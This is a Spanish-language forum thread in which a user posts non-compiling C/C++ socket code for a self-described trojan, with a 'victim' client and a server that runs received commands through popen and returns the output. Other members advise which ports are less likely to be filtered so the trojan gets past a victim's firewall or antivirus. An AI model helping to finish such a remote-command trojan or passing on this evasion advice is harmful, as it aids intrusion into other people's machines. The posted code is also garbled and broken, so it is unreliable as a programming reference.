Mi troyano. Necesito ayuda!

Iniciado por TheSaint, Mayo 09, 2019, 11:04:26 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Mayo 09, 2019, 11:04:26 AM Ultima modificación: Mayo 09, 2019, 11:59:11 AM por Gabriela
Muy Buenas Señores,

Estoy creando e informandome sobre troyanos i sockets, pero aun me faltan algunos conocimientos, necessito que alguien me ayude con mis codigos, alguien puede ayudarme porfavor??

este son los codigos:
el servidor ( en este caso e atacante )
Código: php
/* Estos son los ficheros de cabecera usuales */
#include <stdio.h>         
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 8080 /* El puerto que será abierto */
#define BACKLOG 2 /* El número de conexiones permitidas */

int main()
{
    int socket(int /*DOMAIN*/,int SOCK_STREAM,int /*Protocol*/);

   int fd, fd2; /* los ficheros descriptores */

   struct sockaddr_in server;
   /* para la información de la dirección del servidor */

   struct sockaddr_in client;
   /* para la información de la dirección del cliente */

   int sin_size;

   /* A continuación la llamada a socket() */
   if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ) { 
      printf("error en socket()\n");
      exit(-1);
   }

   server.sin_family = AF_INET;         

   server.sin_port = htons(PORT);
   /* ¿Recuerdas a htons() de la sección "Conversiones"? =) */

   server.sin_addr.s_addr = INADDR_ANY;
   /* INADDR_ANY coloca nuestra dirección IP automáticamente */

   bzero(&(server.sin_zero),8);
   /* escribimos ceros en el reto de la estructura */


   /* A continuación la llamada a bind() */
   if(bind(fd,(struct sockaddr*)&server,
           sizeof(struct sockaddr))==-1) {
      printf("error en bind() \n");
      exit(-1);
   }     

   if(listen(fd,BACKLOG) == -1) {  /* llamada a listen() */
      printf("error en listen()\n");
      exit(-1);
   }

   while(1) {
      sin_size=sizeof(struct sockaddr_in);
      /* A continuación la llamada a accept() */
      if ((fd2 = accept(fd,(struct sockaddr *)&client,
                        &sin_size))==-1) {
         printf("error en accept()\n");
         exit(-1);
      }

      printf("Se obtuvo una conexión desde %s\n",
             inet_ntoa(client.sin_addr) );
      /* que mostrará la IP del cliente */

      send(fd2,"Bienvenido a mi servidor.\n",22,0);
      /* que enviará el mensaje de bienvenida al cliente */

     /* Limpiar la consola */
   system("cls");
   
   /* Ejecutar el comando enviado desde el servidor en el cliente */
   /* Obtener el resultado del comando para posteriormente enviarlo al servidor */
   FILE *msg = popen(serverMsg, "r");
   char buffer[2048];
   string resultado = "";
   while (!feof(msg))
   {
     if(fgets(buffer, 2048, msg) != NULL)
     {
      resultado += buffer;
     }
   }
   pclose(msg);
   
   /* Enviar el resultado de la consulta al servidor */
   send(socket, resultado.c_str(), 2048, 0);
   
   //Cerrar la conexión
   closesocket(sock);
   //Llamar nuevamente a la función
   main();
  }
}



      exit(fd2); /* cierra fd2 */
   }
}



y este es el codigo de el cliente ( en este caso la victima )

Código: php
#include <iostream>
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
//definimos puerto abierto
#define PORT 8080
//definimos el maximo de datos
#define MAXDATASIZE 100


using namespace std;

int main(int argc, char *argv[])
{
//Ficheros descriptores
int bind (int fd, int numbytes, struct sockaddr *my_addr,int addrlen);
//Ponemos que es el host
char  *host = "localhost";
//Despues ponemos donde se almacenara el texto recibido i añadimos maximo
char buf[MAXDATASIZE];
/* Ahora procederemos ha construir la estructura
la cual recibiremos informacion sobre el nodo remoto*/
struct hostent *he;
{   
   char *h_name;                   /* El nombre oficial del nodo.               */
   char **h_aliases;               /* Lista de Alias.                           */
   int h_addrtype;                 /* Tipo de dirección del nodo.               */
   int h_length;                   /* Longitud de la dirección.                 */
   char **h_addr_list;             /* Lista de direcciones del nombre del       */
                                   /* servidor.                                 */
   #define h_addr  h_addr_list[0]  /* Dirección, para la compatibilidad con     */
                                   /* anteriores.                               */
};

/*hora procederemos a hacer la estructura sobre la direcciones
del servividor */
struct sockaddr_in server;
{
   short int sin_family;        /* Familia de la Dirección              */
   unsigned short int PORT;     /* Puerto                               */
   struct in_addr sin_addr;     /* Dirección de Internet                */
   unsigned char sin_zero[8];   /* Del mismo tamaño que struct sockaddr */
};

if (argc !=2) {
      /* esto es porque nuestro programa sólo necesitará un
      argumento, (la IP) */
      printf("Uso: %s <Dirección IP>\n",argv[0]);
      exit(-1);
   }

   if ((he=gethostbyname(argv[1]))==NULL){       
      /* llamada a gethostbyname() */
      printf("gethostbyname() error\n");
      exit(-1);
   }

   if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){ 
      /* llamada a socket() */
      printf("socket() error\n");
      exit(-1);
   }

server.sin_family = AF_INET;
   server.sin_port = htons(PORT);
   /* htons() es necesaria nuevamente ;-o */
   server.sin_addr = *((struct in_addr *)he->h_addr); 
   /*he->h_addr pasa la información de ``*he'' a "h_addr" */
   bzero(&(server.sin_zero),8);

if(connect(fd, (struct sockaddr *)&server,
      sizeof(struct sockaddr))==-1){
      /* llamada a connect() */
      printf("connect() error\n");
      exit(-1);
   }

   if ((MAXDATASIZE=recv(fd,buf,MAXDATASIZE,0)) == -1){ 
      /* llamada a recv() */
      printf("Error en recv() \n");
      exit(-1);
   }

   buf[MAXDATASIZE]='\0';

   printf("Mensaje del Servidor: %s\n",buf);
   /* muestra el mensaje de bienvenida del servidor =) */

   int shutdown(fd);   /* cerramos fd =) */

}






Espero que me podais ayudar porfavor, Muchas gracias por vuestra atención.

No le iba a comentar (no suelo involucrarme en este tipo de proyectos), pero le haré una ligera observación:

El puerto que escogió es uno de los más celosamente custodiados por los sistemas de seguridad (firewalls o antivirus). Dudo muchísimo que sea por ahí el éxito.

Le sugiero que estudie una variante, e infórmese que puertos le son favorables. Además, puede escoger varios, si hace una ligera modificación, para aumentar las probabilidades, aunque el éxito o fracaso de detección estaría dado por el tipo de sistema de seguridad, que tenga montado la víctima. Pero se gana o se pierde... cierto?

Hay otros errores, pero lo descubrirá rápidamente si monta una maqueta en su laboratorio (sus pc), pues enseguida le saltará.

Por lo demás está bueno.
Tiene sus habilidades y talentos.

Suerte.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Muchas gracias,

te lo agradezco mucho por tus aportaciones y consejos, es genial poder tener una comunidad asi <3


Buenas gente, su puede ser, si alguien sabe algo mas puede deciremelo, me refiero a que no se acabe el hilo que si podeis aportar algo, sin dudarlo, escribirlo porfavor <3

Sugerencia sobre la observación:

Puertos que no son propicios por tendencias de filtrados de seguridad:

443  <<< HTTPS
80     <<< HTTP
995    <<< Email (POP3S) varía según el proveedor 110, 25, etc.
587     <<< Ídem al anterior, pero para TLS
8080   <<< Proxy server (comúnmente usado)
8443   <<< Proxy server (comúnmente usado)
Entre muchos otros.

Puertos que "por lo general" no se establece un filtrado "por defecto", en los sistemas de seguridad:

53      <<< DNS (la tendencia es a filtrarlo por proveedores o VPN´s)
8484 <<< Proxy server (comúnmente usado)
123     <<< NTP
137      <<< NetBIOS
1194 <<< por defecto del OpenVPN u servicios que lo usen (VPN´s)
9200   <<< Servicios varios de software en general

Entre otros, que suelen "popularmente" usar las VPN´s para evadir restricciones.

Ahora bien, no hay una garantía de que sean puerta segura, y dependerá mucho del entorno del antivirus y del firewall, así como de la configuración (por defecto o personalizada) que le dé el usuario, o admin.

En la medida que escoja puertos de poco uso, o poco convencionales, existirá la elevada probabilidad de que se encuentren cerrados, o con solicitud de permisos root.

Puede ahondar más en la Wikipedia.

El dominar estas especificaciones, le ayudarán mucho en la presente, y futuras implementaciones.
Espero que le haya resultado interesante.

Buena Suerte.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Si tu dispones de un entorno Linux puedes ver el fichero de los servicios comunes "cat /etc/services". Fichero que lo usa la increíble e imprescindible herramienta "nmap".
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF


Hola chic@s,

Muchas gracias por daros la molestia de responder a mis posts, enserio, veo que tengo que trabajar mas en los puertos, pero si os fijais en mi codigo faltan cosas o almenos en mi compliador me detecta errores y me cuesta solucionarlos, poco a poco iré entendiendo e investigando, pero si os estais aburriendo o os apetece contestar perfecto, pero sino ni os inmuteis en mi "proyecto"


Muchas Gracias por vuestro tiempo y vuestra atención.

Podrías enviar una imagen del error?, Para que te podamos ayudar con el error de código.
PGP :: <D82F366940155CB043147178C4E075FC4403BDDC>

~ DtxdF

Mayo 10, 2019, 05:22:12 PM #8 Ultima modificación: Mayo 10, 2019, 05:34:04 PM por TheSaint

Lo siento soy nuevo en este foro, nose como se hace para colgar fotos, he divagado por el foro y me sale que tengo que ir a una pagina y colgar las fotos ahi, despues pasar el link, pero nose, no me funciona, voy ha hacer una prueba por aqui a ver si la veis o no ok ? Lo siento mucho de verdad.








No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Alcanza con leer la página donde estas publicando para aprender a subir imágenes.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos
Gabriela
Tú te enamoraste de mi valentía, yo me enamoré de tu oscuridad; tú aprendiste a vencer tus miedos, yo aprendí a no perderme en tu abismo.


Vale chicos ya lo he endcontrado, aqui debajo os lo dejo muchas gracias.


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

@No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Tienes muchos errores con las variables por lo que veo, antes que nada deberías pasar el código que hiciste, así podremos decirte mejor cuál es el problema. Pero no te haremos todo, trataremos de ayudarte, pero también intenta resolver los problemas por su propia cuenta, sino no aprenderá (es solo una recomendación). Saludos!


De verdad muchas gracias yo lo unico que quiero es entender al 100% el codigo, y para eso os pido ayuda, tambien investigo mucho sobre los sockets y todo, lo intento arreglar solo, pero mis conocimientos son muy basicos, ya que nunca he tenido nadie quien me enseñe nada, ni he tomado ningun curso, solo cursos online de cpp y python y investigar sobre penetracion. Bueno aqui os dejo el codigo bastante mas modificado que el anterior.

El primer codigo seria el cliente y el segudo seria el servidor. Quiero añadirle muchas cosas para que se parezca lo mejor possible a un troyano, voy a tener este proyecto activo durante mucho para acabar de redondearlo, y perfecionarlo bastante ya que quiero que sea un proyecto muy bueno.


Muchas gracias por vuestra ayuda de verdad se agradece mucho <3.



Código: php


#include <iostream>
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netdb.h>
//definimos puerto abierto
#define port 9200
//definimos el maximo de datos
#define MAXDATASIZE 100


using namespace std;

int main(int argc, char *argv[])
{
//Ficheros descriptores
int bind (int socketfd, int numbytes, struct sockaddr *my_addr,int addrlen);
//Ponemos que es el host
char  *host = "localhost";
//Despues ponemos donde se almacenara el texto recibido i añadimos maximo
char buf[MAXDATASIZE];
/* Ahora procederemos ha construir la estructura
la cual recibiremos informacion sobre el nodo remoto*/
struct hostent *he;
{   
   char *h_name;                   /* El nombre oficial del nodo.               */
   char **h_aliases;               /* Lista de Alias.                           */
   int h_addrtype;                 /* Tipo de dirección del nodo.               */
   int h_length;                   /* Longitud de la dirección.                 */
   char **h_addr_list;             /* Lista de direcciones del nombre del       */
                                   /* servidor.                                 */
   #define h_addr  h_addr_list[0]  /* Dirección, para la compatibilidad con     */
                                   /* anteriores.                               */
};

/*hora procederemos a hacer la estructura sobre la direcciones
del servividor */
struct sockaddr_in server;
{
   short int sin_family;        /* Familia de la Dirección              */
   unsigned short int PORT;     /* Puerto                               */
   struct in_addr sin_addr;     /* Dirección de Internet                */
   unsigned char sin_zero[8];   /* Del mismo tamaño que struct sockaddr */
};

if (argc !=2) {
      /* esto es porque nuestro programa sólo necesitará un
      argumento, (la IP) */
      printf("Uso: %s <Dirección IP>\n",argv[0]);
      exit(-1);
   }

   if ((he=gethostbyname(argv[1]))==NULL){       
      /* llamada a gethostbyname() */
      printf("gethostbyname() error\n");
      exit(-1);
   }

   if ((socketfd=socket(PF_INET, SOCK_STREAM, 0))==-1){ 
      /* llamada a socket() */
      printf("socket() error\n");
      exit(-1);
   }

server.sin_family = PF_INET;
   server.sin_port = htons(port);
   /* htons() es necesaria nuevamente ;-o */
   server.sin_addr = *((struct in_addr *)he->h_addr); 
   /*he->h_addr pasa la información de ``*he'' a "h_addr" */
   bzero(&(server.sin_zero),8);

if(connect(socketfd, (struct sockaddr *)&server,
      sizeof(struct sockaddr))==-1){
      /* llamada a connect() */
      printf("connect() error\n");
      exit(-1);
   }

   if ((MAXDATASIZE=recv(socketfd,buf,MAXDATASIZE,0)) == -1){ 
      /* llamada a recv() */
      printf("Error en recv() \n");
      exit(-1);
   }

   buf[MAXDATASIZE]='\0';

   printf("Mensaje del Servidor: %s\n",buf);
   /* muestra el mensaje de bienvenida del servidor =) */

   int shutdown(sockfd);   /* cerramos fd =) */

}


Código: php


/* Estos son los ficheros de cabecera usuales */
#include <stdio.h>         
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define port 9200 /* El puerto que será abierto */
#define BACKLOG 2 /* El número de conexiones permitidas */
int main()
{
    int socket(int PF_INET, int SOCK_STREAM, int protocol = 0);

   int sockfd; /* los ficheros descriptores */
   int socketfd2;


   struct sockaddr_in server;
   /* para la información de la dirección del servidor */

   struct sockaddr_in client;
   /* para la información de la dirección del cliente */

   int sin_size;

   /* A continuación la llamada a socket() */
   if ((sockfd=socket(PF_INET, SOCK_STREAM, 0)) == -1 ) { 
      printf("error en socket()\n");
      exit(-1);
   }

   server.sin_family = PF_INET;         

   server.sin_port = htons(port);
   /* ¿Recuerdas a htons() de la sección "Conversiones"? =) */

   server.sin_addr.s_addr = INADDR_ANY;
   /* INADDR_ANY coloca nuestra dirección IP automáticamente */

   bzero(&(server.sin_zero),8);
   /* escribimos ceros en el reto de la estructura */


   /* A continuación la llamada a bind() */
   if(bind(sockfd,(struct sockaddr*)&server,
           sizeof(struct sockaddr))==-1) {
      printf("error en bind() \n");
      exit(-1);
   }     

   if(listen(sockfd,BACKLOG) == -1) {  /* llamada a listen() */
      printf("error en listen()\n");
      exit(-1);
   }

   while(1) {
      sin_size=sizeof(struct sockaddr_in);
      /* A continuación la llamada a accept() */
      if ((socketfd2 = accept(sockfd,(struct sockaddr *)&client,
                        &sin_size))==-1) {
         printf("error en accept()\n");
         exit(-1);
      }

      printf("Se obtuvo una conexión desde %s\n",
             inet_ntoa(client.sin_addr) ); T
      /* que mostrará la IP del cliente */

      send(socketfd2,"Bienvenido a mi servidor.\n",22,0);
      /* que enviará el mensaje de bienvenida al cliente */

     /* Limpiar la consola */
      system("cls");
   
   /* Ejecutar el comando enviado desde el servidor en el cliente */
   /* Obtener el resultado del comando para posteriormente enviarlo al servidor */
   FILE *msg = popen(serverMsg, "r");
   char buffer[2048];

   string resultado = "";


   while (!feof(msg))
   {
     if(fgets(buffer, 2048, msg) != NULL)
     {
      resultado += buffer;
     }
   }
   pclose(msg);
   
   /* Enviar el resultado de la consulta al servidor */
   send(socket, resultado.c_str(), 2048, 0);
   
   //Cerrar la conexión
   close(socket);
   //Llamar nuevamente a la función
   main();
  }
}



     close(socketfd2); /* cierra fd2 */
   
}